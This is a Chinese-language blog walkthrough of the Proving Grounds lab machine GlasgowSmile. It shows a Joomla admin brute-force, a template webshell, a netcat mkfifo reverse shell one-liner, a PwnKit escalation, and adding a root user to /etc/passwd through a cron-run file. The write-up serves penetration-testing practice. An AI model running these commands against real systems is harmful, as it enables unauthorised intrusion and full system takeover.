Proving Grounds Play : GlasgowSmile Walkthrough

 Proving Grounds Play : GlasgowSmile Walkthrough


Foothold :

  • 發現 CMS joomla,使用 cewl 製作密碼檔,猜測使用者帳號暴力破解進入 joomla
  • 確認是 joomla 管理者,利用修改 template 的 php 內容後成功利用拿到 Rverse Shell

PE :

  • PwnKit 後 root (這個非標準官方設計的路徑)
  • 真正 PE 真的很煩,枚舉後 pspy64 發現每分鐘固定執行 penguin 家目錄下的一個文件
  • 首先進入的 www-data 在 joomla 的 config 檔發現 MySQL 連線憑證
  • 登入 MySQL 發現 rob 使用者的密碼 HASH,接著切換使用者到 rob
  • rob 使用者 HOME 目錄有個用 ROT1 格式寫的檔案內容,解碼後得到使用者 abner 的密碼
  • 切換使用者 abner 後在 joomla 的檔案資料夾發現一個 zip 檔,一樣用 abner 的密碼解壓縮
  • 接著使用該密碼成功切換使用者 penguin,修改 pspy64 發現的固定執行檔案
  • 修改檔案內容寫入一個 root 使用者,切換該使用者後成功提權


Rustscan,└─$ rustscan -a 192.168.151.79 --scripts none --ulimit 5000 | tee rustscan



snmp check,└─$ sudo nmap -sU -p 161 192.168.151.79 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 22,80 192.168.151.79 | tee nmap



whatweb



80 /



80 /robots.txt



source code



gobuster 80 /,看到熟悉的 joomla



80 /joomla

發現一個使用者名稱 joker



80 /joomla/administrator

測試了幾組常用的帳號密碼都失敗



後續使用 cewl 製作密碼字典檔



開啟 Burp Suite 將帳號密碼登入送到 Intruder 然後設定密碼為參數



餵入字典檔開始攻擊測試



測試到密碼為 Gotham 時發現跳轉 303 且長度不一樣



使用憑證 joomla:Gotham 成功登入,且是 Super User (Administrator)



joomla 版本 3.7.3-rc1



點選左邊的 Templates



進入 Templates 頁面後點選 "protostar"



進入 Protostar 範本相關的 php 網頁中



將 index.php 換上最愛的 webshell.php 然後存檔



http://192.168.151.79/joomla/index.php 熟悉的畫面出現了,輸入 whoami 確認可以執行



直接最愛的 RM 建立 Reverse Shell

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.168 4444 >/tmp/f



獲取第一階段 flag,發現是放在使用者 rob 的家目錄



cat /etc/passwd,使用者 rob、abner、penguin



cat /etc/crontab



sudo -l 沒有結果,SUID check



pspy64 發現背景下使用者 penguin 每分鐘執行一次

/home/penguin/SomeoneWhoHidesBehindAMask/.trash_old



linpeas 跑下去又見到熟悉的 PwnKit



直接 PwnKit 又 root 了,靠~~~~一定沒有這麼簡單,又是一個不鎖 PwnKit 的靶機



補充說明 :

回到一開始進入的路徑 /var/www/html/joomla 底下有一個 configuration.php

內容可以看到去連 MySQL 的憑證 joomla:babyjoker 還有一個 secret "fNRyp6KO51013435"



直接把機進入 MySQL DB 看看,有個特別的資料庫 batjoke,感覺進入蝙蝠俠靶機



有兩個 table equipment、taskforce,在 taskforce 中有名稱跟密碼欄位

將兩個欄位的值 show 出來看一下

+---------+----------------------------------------------+

| name    | pswd                                         |

+---------+----------------------------------------------+

| Bane    | YmFuZWlzaGVyZQ==                             |

| Aaron   | YWFyb25pc2hlcmU=                             |

| Carnage | Y2FybmFnZWlzaGVyZQ==                         |

| buster  | YnVzdGVyaXNoZXJlZmY=                         |

| rob     | Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/ |

| aunt    | YXVudGlzIHRoZSBmdWNrIGhlcmU=                 |

+---------+----------------------------------------------+



僅有一個使用者名稱 rob 有在 linex 系統的使用者

將密碼 hash 丟到 hashes 得到密碼 "???AllIHaveAreNegativeThoughts???"



john 無法判斷 HASH 格式,但用 base64 可以解密,看來是 base64 的格式



用該密碼成功切換到使用者 rob



進到 rob 的家目錄,查看檔案 Abnerineedyourhelp 內容如下,完全看不懂這是啥鬼東西

Gdkkn Cdzq, Zqsgtq rteedqr eqnl rdudqd ldmszk hkkmdrr ats vd rdd khsskd rxlozsgx enq ghr bnmchshnm. Sghr qdkzsdr sn ghr eddkhmf zants adhmf hfmnqdc. Xnt bzm ehmc zm dmsqx hm ghr intqmzk qdzcr, "Sgd vnqrs ozqs ne gzuhmf z ldmszk hkkmdrr hr odnokd dwodbs xnt sn adgzud zr he xnt cnm's."

Mnv H mddc xntq gdko Zamdq, trd sghr ozrrvnqc, xnt vhkk ehmc sgd qhfgs vzx sn rnkud sgd dmhflz. RSLyzF9vYSj5aWjvYFUgcFfvLCAsXVskbyP0aV9xYSgiYV50byZvcFggaiAsdSArzVYkLZ==



枚舉後發現這是 ROT1 格式的編碼,透過 rot13.com 解碼如下

Hello Dear, Arthur suffers from severe mental illness but we see little sympathy for his condition. This relates to his feeling about being ignored. You can find an entry in his journal reads, "The worst part of having a mental illness is people expect you to behave as if you don't."

Now I need your help Abner, use this password, you will find the right way to solve the enigma. STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==



穿插一段說明 ROT1,甚麼是 ROT1,簡單講就是英文字母右移一碼
ROT 是一種加密機制,以下是它的工作原理。 想像一下你有一個單字 "abcd" 
ROT1 就是將 "a" 替換為 "b",將 "b" 替換為 "c"
所以基本上它是將每個字母替換為後面一個字母來做為加密文
ROT2 就是將替換原始字母 "a" 為 "c","b" 為 "d " 等,字母比原始字母右移兩個
依此類推可以理解甚麼是 ROT3、ROT4 等加密方式
舉例說明 :
 - 原始內文 : abcd
 - ROT1 : bcde
 - ROT2 : cdef
 - ROT3 : defg
 - ROT4 : efgh
 - etc...



至於怎麼找出那是 ROT1 編碼的呢,當然是直接問 ChatGPT 最快




那一段密碼是標準的 base64,解密後如下

I33hope99my0death000makes44more8cents00than0my0life0



hydra 測試一下發現密碼真的就是那麼長



su abner 後成功切換到使用者 abner



在此路徑下 /var/www/joomla2/administrator/manifests/files 有一個檔案 .dear_penguins.zip

權限就是 abner 所有



用 python 起 HTTP Server 然後將檔案 http://192.168.151.79:8080/.dear_penguins.zip 抓回 kali



解壓縮需要密碼,用 john破解不了,後來是嘗試直接使用 abner 使用者的密碼解開,內容如下

My dear penguins, we stand on a great threshold! It's okay to be scared; many of you won't be coming back. Thanks to Batman, the time has come to punish all of God's children! First, second, third and fourth-born! Why be biased?! Male and female! Hell, the sexes are equal, with their erogenous zones BLOWN SKY-HIGH!!! FORWAAAAAAAAAAAAAARD MARCH!!! THE LIBERATION OF GOTHAM HAS BEGUN!!!!!

scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz



使用該密碼成功切換使用者 penguin



終於進入到 pspy64 發現的背景執行資料夾 SomeoneWhoHidesBehindAMask/



使用最愛的手法寫一個 root 使用者 aries 到 /etc/passwd



等一會後確認 /etc/passwd 寫入該使用者 aries,su 切換使用者確認 root




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)